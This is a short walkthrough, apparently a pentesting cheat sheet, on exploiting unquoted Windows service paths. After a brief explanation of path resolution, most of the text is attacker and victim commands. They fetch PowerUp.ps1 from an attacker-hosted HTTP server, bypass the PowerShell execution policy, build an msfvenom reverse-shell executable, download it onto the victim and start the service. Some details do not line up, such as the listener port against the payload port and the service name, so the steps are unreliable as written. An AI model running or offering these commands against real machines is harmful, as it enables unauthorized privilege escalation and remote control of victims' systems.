

Unquoted Service Path

The Windows API must assume where to find the referenced application if the path contains spaces and is not enclosed by quotation marks. If, for example, a service uses the unquoted path:

Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe

The system will read this path in the following sequence from 1 to 4 to trigger malicious.exe through a writeable directory.

C:\Program.exe

C:\Program Files\Ignite.exe

C:\Program Files\Ignite Data\Vuln.exe

C:\Program Files\Ignite Data\Vuln Service\file.exe

Abusing Unquoted Service Paths

Attacker

```
wget https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1  
python -m SimpleHTTPServer 80  
nc -lvp 1245
```

Victim

```
powershell  
wget http://192.168.1.3/PowerUp.ps1 -o PowerUP.ps1  
powershell -ep bypass  
Import-Module .\PowerUp.ps1  
Get-UnquotedService
```

Attacker

```
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 -f exe > Vuln.exe  
python -m SimpleHTTPServer 80
```

Victim

```
powershell wget http://192.168.1.3/Vuln.exe -o Vuln.exe  
net start vulns
```